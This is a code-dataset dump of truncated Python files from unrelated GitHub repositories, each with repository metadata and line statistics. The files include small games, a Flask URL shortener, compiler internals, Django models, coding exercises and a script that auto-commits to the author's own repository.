a22325a315425746a5c10a140917b21716beb9f2 | 5,940 | py | Python | pentago.py | blamed-cloud/PythonGames | 8d3abff39d7a0aa6fedba15a5b4cf3cfe968d57b | [
"MIT"
] | null | null | null | pentago.py | blamed-cloud/PythonGames | 8d3abff39d7a0aa6fedba15a5b4cf3cfe968d57b | [
"MIT"
] | null | null | null | pentago.py | blamed-cloud/PythonGames | 8d3abff39d7a0aa6fedba15a5b4cf3cfe968d57b | [
"MIT"
] | null | null | null | #!/usr/bin/env python
#fractoe.py
from AISuite.game import Game as Game
import AISuite.player as player
from AISuite.alphabeta import UPPER_BOUND, LOWER_BOUND, shallowest_first
import AISuite.recorder as recorder
import AISuite.PythonLibraries.prgm_lib as prgm_lib
import fractoe_tictactoe as tictactoe
Tictactoe = ticta... | 26.877828 | 90 | 0.654882 | 954 | 5,940 | 3.903564 | 0.20021 | 0.033835 | 0.024168 | 0.030075 | 0.149839 | 0.10768 | 0.067401 | 0.043233 | 0.024168 | 0.024168 | 0 | 0.021142 | 0.203704 | 5,940 | 220 | 91 | 27 | 0.766173 | 0.025758 | 0 | 0.132597 | 0 | 0 | 0.073702 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.038674 | null | null | 0.066298 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a225fc5e7a406855d5a88f4d95847b3dca93ec7f | 2,708 | py | Python | app.py | zhongxuank/short-urls | a38b578fd5a75050672f61a9da6a1618379e19dd | [
"MIT"
] | null | null | null | app.py | zhongxuank/short-urls | a38b578fd5a75050672f61a9da6a1618379e19dd | [
"MIT"
] | null | null | null | app.py | zhongxuank/short-urls | a38b578fd5a75050672f61a9da6a1618379e19dd | [
"MIT"
] | null | null | null | import sqlite3
from hashids import Hashids
from flask import Flask, render_template, request, flash, redirect, url_for
# Set up Database
def get_db_connection():
conn = sqlite3.connect('database.db')
conn.row_factory = sqlite3.Row
return conn
# Set up Flask and Hashids
app = Flask(__name__)
app.config['... | 29.758242 | 91 | 0.621861 | 350 | 2,708 | 4.665714 | 0.328571 | 0.04899 | 0.036742 | 0.034905 | 0.127373 | 0.034293 | 0 | 0 | 0 | 0 | 0 | 0.003026 | 0.267725 | 2,708 | 90 | 92 | 30.088889 | 0.820474 | 0.184638 | 0 | 0.178571 | 0 | 0 | 0.165146 | 0 | 0 | 0 | 0 | 0.011111 | 0 | 1 | 0.071429 | false | 0 | 0.053571 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf48bda38df7adaa251a0cc275838f2f246c15a6 | 3,696 | py | Python | tools/bin/ext/figleaf/annotate_cover.py | YangHao666666/hawq | 10cff8350f1ba806c6fec64eb67e0e6f6f24786c | [
"Artistic-1.0-Perl",
"ISC",
"bzip2-1.0.5",
"TCL",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"PostgreSQL",
"BSD-3-Clause"
] | 450 | 2015-09-05T09:12:51.000Z | 2018-08-30T01:45:36.000Z | tools/bin/ext/figleaf/annotate_cover.py | YangHao666666/hawq | 10cff8350f1ba806c6fec64eb67e0e6f6f24786c | [
"Artistic-1.0-Perl",
"ISC",
"bzip2-1.0.5",
"TCL",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"PostgreSQL",
"BSD-3-Clause"
] | 1,274 | 2015-09-22T20:06:16.000Z | 2018-08-31T22:14:00.000Z | tools/bin/ext/figleaf/annotate_cover.py | YangHao666666/hawq | 10cff8350f1ba806c6fec64eb67e0e6f6f24786c | [
"Artistic-1.0-Perl",
"ISC",
"bzip2-1.0.5",
"TCL",
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"MIT",
"PostgreSQL",
"BSD-3-Clause"
] | 278 | 2015-09-21T19:15:06.000Z | 2018-08-31T00:36:51.000Z | import figleaf
import os
import re
from annotate import read_exclude_patterns, filter_files, logger
def report_as_cover(coverage, exclude_patterns=[], ):
### now, output.
keys = coverage.keys()
info_dict = {}
for k in filter_files(keys):
try:
pyfile = open(k, 'rU')
... | 25.666667 | 79 | 0.557359 | 431 | 3,696 | 4.614849 | 0.301624 | 0.028155 | 0.013575 | 0.021116 | 0.084465 | 0.036199 | 0 | 0 | 0 | 0 | 0 | 0.006885 | 0.331981 | 3,696 | 143 | 80 | 25.846154 | 0.798704 | 0.024351 | 0 | 0.10101 | 0 | 0 | 0.117762 | 0.005846 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.070707 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf504e1404dcb0548b72e48f1e4e5eee3040056e | 627 | py | Python | get_token_api.py | mariomtzjr/linqBotPublic | c98ec04dac760669bf2cc5e4155c02e128258e1e | [
"MIT"
] | null | null | null | get_token_api.py | mariomtzjr/linqBotPublic | c98ec04dac760669bf2cc5e4155c02e128258e1e | [
"MIT"
] | null | null | null | get_token_api.py | mariomtzjr/linqBotPublic | c98ec04dac760669bf2cc5e4155c02e128258e1e | [
"MIT"
] | null | null | null | import json
import os
from dotenv import load_dotenv
from settings import path_dir_env
from create_request import createRequest
load_dotenv(os.path.join(path_dir_env, '.env'))
def getToken():
urlLogin = os.getenv("APILOGINURL")
username = os.getenv("USERNAME")
password = os.getenv("PASSWORD... | 20.9 | 60 | 0.650718 | 68 | 627 | 5.897059 | 0.514706 | 0.05985 | 0.049875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.247209 | 627 | 29 | 61 | 21.62069 | 0.849576 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 0.055184 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0.1 | 0.25 | 0 | 0.35 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
bf53776930aec2f977b37e74ba98b2642ed07d58 | 245 | py | Python | add_remover_users.py | evileyelivelx/login_test | 916ea7cdbc75b617f18c928017226feb1f180ecd | [
"MIT"
] | null | null | null | add_remover_users.py | evileyelivelx/login_test | 916ea7cdbc75b617f18c928017226feb1f180ecd | [
"MIT"
] | null | null | null | add_remover_users.py | evileyelivelx/login_test | 916ea7cdbc75b617f18c928017226feb1f180ecd | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
# In[1]:
import users_mgt as um
# In[2]:
um.create_user_table()
# In[4]:
um.add_user('test2','test2','test2@test.com')
# In[7]:
um.show_users()
# In[6]:
um.del_user('test')
# In[ ]:
| 6.282051 | 45 | 0.563265 | 42 | 245 | 3.142857 | 0.642857 | 0.151515 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.046392 | 0.208163 | 245 | 38 | 46 | 6.447368 | 0.634021 | 0.310204 | 0 | 0 | 0 | 0 | 0.178344 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.2 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf54c3203e0beb3f313ee865605d406855fe5a6e | 31,427 | py | Python | Tools/compiler/compiler/pycodegen.py | marcosptf/cpython-2.0.1 | 73c739a764e8b1dc84640e73b880bc66e1916bca | [
"PSF-2.0"
] | 5 | 2022-03-26T21:53:36.000Z | 2022-03-30T21:47:20.000Z | Tools/compiler/compiler/pycodegen.py | marcosptf/cpython-2.0.1 | 73c739a764e8b1dc84640e73b880bc66e1916bca | [
"PSF-2.0"
] | 6 | 2020-11-18T15:48:14.000Z | 2021-05-03T21:20:50.000Z | Tools/compiler/compiler/pycodegen.py | marcosptf/cpython-2.0.1 | 73c739a764e8b1dc84640e73b880bc66e1916bca | [
"PSF-2.0"
] | 2 | 2015-07-16T08:14:13.000Z | 2022-03-27T01:55:17.000Z | import imp
import os
import marshal
import stat
import string
import struct
import sys
import types
from cStringIO import StringIO
from compiler import ast, parse, walk
from compiler import pyassem, misc
from compiler.pyassem import CO_VARARGS, CO_VARKEYWORDS, CO_NEWLOCALS, TupleArg
# Do we have Python 1.x or Python ... | 29.930476 | 79 | 0.566392 | 3,733 | 31,427 | 4.660327 | 0.144924 | 0.068518 | 0.035121 | 0.022475 | 0.388515 | 0.337587 | 0.250158 | 0.160832 | 0.08467 | 0.056332 | 0 | 0.004977 | 0.322366 | 31,427 | 1,049 | 80 | 29.959009 | 0.811937 | 0.046966 | 0 | 0.406024 | 0 | 0 | 0.082554 | 0 | 0 | 0 | 0 | 0 | 0.003614 | 0 | null | null | 0.009639 | 0.025301 | null | null | 0.007229 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf595ba8f8f059e25c991dfc55dc6aa57a616769 | 3,384 | py | Python | postprocessing/postprocessing_results.py | dalidia/Thrower | 269ccedf172b013dcf76d0c7690f0de42cd94edd | [
"Apache-2.0"
] | 14 | 2019-07-18T08:35:30.000Z | 2021-06-24T20:57:31.000Z | postprocessing/postprocessing_results.py | dalidia/Thrower | 269ccedf172b013dcf76d0c7690f0de42cd94edd | [
"Apache-2.0"
] | 2 | 2021-03-31T21:23:55.000Z | 2021-12-14T21:26:09.000Z | postprocessing/postprocessing_results.py | dalidia/Thrower | 269ccedf172b013dcf76d0c7690f0de42cd94edd | [
"Apache-2.0"
] | 1 | 2021-12-01T21:09:16.000Z | 2021-12-01T21:09:16.000Z | #!/usr/bin/env python
__author___= "Maria Kechagia"
__copyright__= "Copyright 2019"
__license__= "Apache License, Version 2.0"
__email__= "m.kechagiaATtudelft.nl"
import re
import os
import csv
import sys
from collections import defaultdict
from collections import OrderedDict
def main():
count_tests = 0
csv_file... | 31.333333 | 103 | 0.686761 | 535 | 3,384 | 4.106542 | 0.293458 | 0.08193 | 0.060082 | 0.009558 | 0.179335 | 0.125626 | 0.048248 | 0.048248 | 0.048248 | 0.048248 | 0 | 0.017664 | 0.18026 | 3,384 | 107 | 104 | 31.626168 | 0.774333 | 0.164894 | 0 | 0.074074 | 0 | 0 | 0.115139 | 0.063255 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.074074 | null | null | 0.024691 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf5c00b591f5f03a1e804e9a1c5ff540957ffd5f | 5,505 | py | Python | pyrobolearn/priorities/tasks/force/wrench.py | Pandinosaurus/pyrobolearn | 9cd7c060723fda7d2779fa255ac998c2c82b8436 | [
"Apache-2.0"
] | 2 | 2021-01-21T21:08:30.000Z | 2022-03-29T16:45:49.000Z | pyrobolearn/priorities/tasks/force/wrench.py | Pandinosaurus/pyrobolearn | 9cd7c060723fda7d2779fa255ac998c2c82b8436 | [
"Apache-2.0"
] | null | null | null | pyrobolearn/priorities/tasks/force/wrench.py | Pandinosaurus/pyrobolearn | 9cd7c060723fda7d2779fa255ac998c2c82b8436 | [
"Apache-2.0"
] | 1 | 2020-09-29T21:25:39.000Z | 2020-09-29T21:25:39.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
r"""Provide the wrench task.
The wrench task tries to generate a wrench near the desired one by minimizing:
.. math:: || w - k (w_{des} - w_t) ||^2
where :math:`w = [f \tau] \in \mathbb{R}^6` is the wrench vector being optimized, :math:`k` is a proportional gain,
:math:`... | 38.496503 | 119 | 0.617984 | 738 | 5,505 | 4.493225 | 0.265583 | 0.085947 | 0.040109 | 0.007238 | 0.498492 | 0.447527 | 0.447527 | 0.435464 | 0.416767 | 0.416767 | 0 | 0.010483 | 0.254859 | 5,505 | 142 | 120 | 38.767606 | 0.797903 | 0.449955 | 0 | 0.152542 | 1 | 0.033898 | 0.198201 | 0.008633 | 0 | 0 | 0 | 0.007042 | 0 | 1 | 0.135593 | false | 0 | 0.033898 | 0 | 0.237288 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf61971caf929bf252c6ddd2e42c6f699d0311f9 | 460 | py | Python | tran.py | Nithish6606/matrix_calculator | c78a482ef677fd5c8402bc412ef9f8fd09383bf7 | [
"MIT"
] | null | null | null | tran.py | Nithish6606/matrix_calculator | c78a482ef677fd5c8402bc412ef9f8fd09383bf7 | [
"MIT"
] | null | null | null | tran.py | Nithish6606/matrix_calculator | c78a482ef677fd5c8402bc412ef9f8fd09383bf7 | [
"MIT"
] | null | null | null | import numpy as np
def trans():
print("Transpose of matrix:")
#Enter rows and columns
row=int(input("Enter number of rows:"))
column=int(input("Enter number of columns:"))
print("Enter the elements of Matrix:")
matrix_a= [[int(input()) for i in range(column)] for i in range(row)]
print("Matrix is: ")
f... | 28.75 | 71 | 0.678261 | 75 | 460 | 4.093333 | 0.4 | 0.114007 | 0.104235 | 0.143322 | 0.136808 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178261 | 460 | 16 | 72 | 28.75 | 0.812169 | 0.047826 | 0 | 0 | 0 | 0 | 0.294521 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.071429 | 0 | 0.142857 | 0.428571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
bf6453dd2bdb9d7f2e9929d8a62f81d0897a121b | 224 | py | Python | test.py | MTATrooper/News_crawler | cc255fe0f82664f83a696487da52e2fc8911e0c8 | [
"MIT"
] | null | null | null | test.py | MTATrooper/News_crawler | cc255fe0f82664f83a696487da52e2fc8911e0c8 | [
"MIT"
] | null | null | null | test.py | MTATrooper/News_crawler | cc255fe0f82664f83a696487da52e2fc8911e0c8 | [
"MIT"
] | 1 | 2021-05-04T09:49:40.000Z | 2021-05-04T09:49:40.000Z | import json
import os
from pymongo import MongoClient
import requests
DATA_DIR = './data'
client = MongoClient(port=27017)
db=client.newspaper
pages = db.source.find({}, {'_id':0,'name':1, 'fullname':1})
print(list(pages)) | 20.363636 | 60 | 0.732143 | 33 | 224 | 4.909091 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04 | 0.107143 | 224 | 11 | 61 | 20.363636 | 0.77 | 0 | 0 | 0 | 0 | 0 | 0.093333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.444444 | 0 | 0.444444 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
bf6482df34dbbde730f9c468a3933ad2d3e97b95 | 2,219 | py | Python | learnpy_ecourse/class3/ex4_ip_address_valid.py | fallenfuzz/pynet | 9624d83cca160fd325a34e838e4474c9b80fe2ab | [
"Apache-2.0"
] | 528 | 2015-01-07T15:28:51.000Z | 2022-03-27T09:45:37.000Z | learnpy_ecourse/class3/ex4_ip_address_valid.py | fallenfuzz/pynet | 9624d83cca160fd325a34e838e4474c9b80fe2ab | [
"Apache-2.0"
] | 19 | 2015-07-01T23:52:27.000Z | 2021-09-22T04:30:34.000Z | learnpy_ecourse/class3/ex4_ip_address_valid.py | fallenfuzz/pynet | 9624d83cca160fd325a34e838e4474c9b80fe2ab | [
"Apache-2.0"
] | 555 | 2015-01-18T07:21:43.000Z | 2022-03-20T21:25:22.000Z | #!/usr/bin/env python
'''
Disclaimer - This is a solution to the below problem given the content we have
discussed in class. It is not necessarily the best solution to the problem.
In other words, I only use things we have covered up to this point in the class.
Well, with some exceptions (I use try / except below).
... | 26.73494 | 80 | 0.692204 | 376 | 2,219 | 4.005319 | 0.425532 | 0.059761 | 0.039841 | 0.021248 | 0.142762 | 0.142762 | 0.065737 | 0.065737 | 0.065737 | 0.065737 | 0 | 0.028835 | 0.218567 | 2,219 | 82 | 81 | 27.060976 | 0.839677 | 0.189274 | 0 | 0.275862 | 0 | 0 | 0.169969 | 0.026069 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.034483 | null | null | 0.034483 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf66e7cc795d5563ffd212c8e0f3443b36900e59 | 831 | py | Python | src (Python)/problem85.py | Macro206/project-euler-solutions | f9b71397f37136eaac9f4636a10d6c3157458cde | [
"MIT"
] | null | null | null | src (Python)/problem85.py | Macro206/project-euler-solutions | f9b71397f37136eaac9f4636a10d6c3157458cde | [
"MIT"
] | null | null | null | src (Python)/problem85.py | Macro206/project-euler-solutions | f9b71397f37136eaac9f4636a10d6c3157458cde | [
"MIT"
] | null | null | null | #!/usr/bin/python2.7
def closest_count(count1, count2):
d1 = abs(2000000 - count1)
d2 = abs(2000000 - count2)
if min(d1,d2) == d1:
return count1
else:
return count2
def count_rectangles(width, height):
return height * (height+1) * width * (width+1) / 4
width = 1
height = 1
cu... | 18.466667 | 71 | 0.625752 | 101 | 831 | 4.960396 | 0.287129 | 0.195609 | 0.11976 | 0.155689 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084459 | 0.287605 | 831 | 44 | 72 | 18.886364 | 0.761824 | 0.022864 | 0 | 0.148148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.037037 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf6e2bd746a301e7cba0de3c1d94efe1d84e8e03 | 1,373 | py | Python | lmae/models.py | kirillperesh/project_bacon | 7f453aeabec20d972a053a7d1a3e99960960a51a | [
"MIT"
] | null | null | null | lmae/models.py | kirillperesh/project_bacon | 7f453aeabec20d972a053a7d1a3e99960960a51a | [
"MIT"
] | 2 | 2021-04-06T18:28:46.000Z | 2021-04-08T20:58:39.000Z | lmae/models.py | kirillperesh/project_bacon | 7f453aeabec20d972a053a7d1a3e99960960a51a | [
"MIT"
] | null | null | null | from django.db import models
class City(models.Model):
city_name = models.CharField(max_length=30)
country = models.CharField(max_length=30)
@classmethod
def get_default_city(cls):
return cls.objects.get_or_create(city_name='*unknown')
@classmethod
def get_deleted_city(cls):
... | 31.204545 | 115 | 0.683904 | 188 | 1,373 | 4.728723 | 0.351064 | 0.084364 | 0.101237 | 0.134983 | 0.40045 | 0.371204 | 0.222722 | 0.222722 | 0.222722 | 0.222722 | 0 | 0.010657 | 0.179898 | 1,373 | 43 | 116 | 31.930233 | 0.778863 | 0 | 0 | 0.176471 | 0 | 0 | 0.120175 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.176471 | false | 0 | 0.117647 | 0.117647 | 0.764706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
bf6f529577ed6ffbe7050a4e7e063fa96369003f | 640 | py | Python | train.py | GYosifov88/Python-Fundamentals | b46ba2822bd2dac6ff46830c6a520e559b448442 | [
"MIT"
] | null | null | null | train.py | GYosifov88/Python-Fundamentals | b46ba2822bd2dac6ff46830c6a520e559b448442 | [
"MIT"
] | null | null | null | train.py | GYosifov88/Python-Fundamentals | b46ba2822bd2dac6ff46830c6a520e559b448442 | [
"MIT"
] | null | null | null | number_of_wagons = int(input())
train = [0 for x in range(number_of_wagons)]
command = input()
while command != 'End':
current_task = command.split(' ')
task = current_task[0]
if task == 'add':
num_of_people = int(current_task[1])
train[-1] += num_of_people
if task == 'insert':
... | 24.615385 | 44 | 0.620313 | 90 | 640 | 4.111111 | 0.311111 | 0.208108 | 0.178378 | 0.113514 | 0.545946 | 0.483784 | 0.416216 | 0.416216 | 0.416216 | 0.416216 | 0 | 0.016598 | 0.246875 | 640 | 25 | 45 | 25.6 | 0.751037 | 0 | 0 | 0.315789 | 0 | 0 | 0.028213 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.052632 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf6fc94684c1b9449a32c759ac331222a723bb10 | 3,413 | py | Python | src/safe_env/utils.py | antonsmislevics/safe-env | 8727bda0b3a0010f0653dbfe824910ac69e27007 | [
"MIT"
] | null | null | null | src/safe_env/utils.py | antonsmislevics/safe-env | 8727bda0b3a0010f0653dbfe824910ac69e27007 | [
"MIT"
] | null | null | null | src/safe_env/utils.py | antonsmislevics/safe-env | 8727bda0b3a0010f0653dbfe824910ac69e27007 | [
"MIT"
] | null | null | null | import os
from tabulate import tabulate
import yaml
from pydantic import BaseModel
from typing import List, Any, Dict, Type
from azure.identity import DefaultAzureCredential, AzureCliCredential
def obj_to_dict(item: Any) -> Dict:
if isinstance(item, BaseModel):
item_dict = item.dict()
elif isinstance(... | 34.826531 | 138 | 0.685028 | 478 | 3,413 | 4.608787 | 0.182008 | 0.07626 | 0.028597 | 0.041307 | 0.428507 | 0.381752 | 0.325919 | 0.279619 | 0.234226 | 0.219246 | 0 | 0 | 0.189569 | 3,413 | 97 | 139 | 35.185567 | 0.796457 | 0.045708 | 0 | 0.166667 | 0 | 0 | 0.055351 | 0.006458 | 0 | 0 | 0 | 0.010309 | 0 | 1 | 0.181818 | false | 0 | 0.090909 | 0.045455 | 0.469697 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf720d18fc9398e388f86f9187bd5947839de6d7 | 2,658 | py | Python | legacy_scripts/qctools.py | hyz2993/IFIscripts | c30c6329b38b76e597ed3a28e381478d909a95bb | [
"MIT"
] | 48 | 2016-01-29T18:00:42.000Z | 2021-06-22T20:13:03.000Z | legacy_scripts/qctools.py | hyz2993/IFIscripts | c30c6329b38b76e597ed3a28e381478d909a95bb | [
"MIT"
] | 341 | 2015-11-25T20:43:59.000Z | 2020-08-06T14:04:04.000Z | legacy_scripts/qctools.py | hyz2993/IFIscripts | c30c6329b38b76e597ed3a28e381478d909a95bb | [
"MIT"
] | 46 | 2015-12-01T20:04:38.000Z | 2021-11-15T16:44:06.000Z | #!/usr/bin/env python
import subprocess
import sys
import os
from glob import glob
def get_audio_stream_count(filename):
audio_stream_count = subprocess.check_output(['ffprobe', '-v', 'error', '-select_streams', 'a', '-show_entries', 'stream=index','-of', 'flat', filename]).splitlines()
return len(audio_stream_coun... | 36.410959 | 259 | 0.690745 | 398 | 2,658 | 4.4799 | 0.379397 | 0.026921 | 0.050477 | 0.040381 | 0.239484 | 0.222658 | 0.204711 | 0.093662 | 0.04599 | 0.04599 | 0 | 0.015441 | 0.171558 | 2,658 | 72 | 260 | 36.916667 | 0.794278 | 0.153875 | 0 | 0 | 0 | 0.041667 | 0.264311 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.083333 | null | null | 0.1875 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bf7276f92877cb4474f14cc0b309e59d465d53e0 | 3,949 | py | Python | githubCheckin.py | sanchayana2007/sanchayana2007.github.io | 4f6853b91a0e37b5101b8795622a5ee21969816e | [
"MIT"
] | null | null | null | githubCheckin.py | sanchayana2007/sanchayana2007.github.io | 4f6853b91a0e37b5101b8795622a5ee21969816e | [
"MIT"
] | null | null | null | githubCheckin.py | sanchayana2007/sanchayana2007.github.io | 4f6853b91a0e37b5101b8795622a5ee21969816e | [
"MIT"
] | null | null | null | import sys
import argparse
import subprocess
import os
from datetime import datetime
import random
username="sanchayana2007"
token= os.environ.get("GIT_TOKEN")
#Random int to create the value
j= random.randint(0,1)
################ RAndom file creator for chein in ##################
if j:
if os.path.isfile("./t... | 36.564815 | 117 | 0.529248 | 434 | 3,949 | 4.792627 | 0.306452 | 0.031731 | 0.090865 | 0.116827 | 0.522115 | 0.522115 | 0.496154 | 0.475481 | 0.475481 | 0.475481 | 0 | 0.006566 | 0.228665 | 3,949 | 107 | 118 | 36.906542 | 0.676297 | 0.024816 | 0 | 0.467532 | 0 | 0 | 0.390902 | 0.081195 | 0.012987 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.077922 | 0 | 0.077922 | 0.402597 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
bf75f87581f3f24bf6d7a2560f92604505c05de2 | 572 | py | Python | 103_manejoErrores/errores2.py | josuerojasq/netacad_python | 510c3a026f83e499144d91c00edc5045a8304a08 | [
"MIT"
] | null | null | null | 103_manejoErrores/errores2.py | josuerojasq/netacad_python | 510c3a026f83e499144d91c00edc5045a8304a08 | [
"MIT"
] | null | null | null | 103_manejoErrores/errores2.py | josuerojasq/netacad_python | 510c3a026f83e499144d91c00edc5045a8304a08 | [
"MIT"
] | null | null | null | #Si existe la posibilidad de que más de una excepción se salte a un apartado "except:",
# puedes tener problemas para descubrir lo que realmente sucedió.
try:
x = int(input("Ingresa un numero: "))
y = 1 / x
print("1 /",x,"=",y)
except:
#El mensaje: "Oh cielos, algo salio mal..." que aparece en la consola no... | 40.857143 | 102 | 0.702797 | 96 | 572 | 4.1875 | 0.6875 | 0.00995 | 0.059701 | 0.084577 | 0.099502 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006522 | 0.195804 | 572 | 14 | 103 | 40.857143 | 0.867391 | 0.716783 | 0 | 0 | 0 | 0 | 0.350318 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.428571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
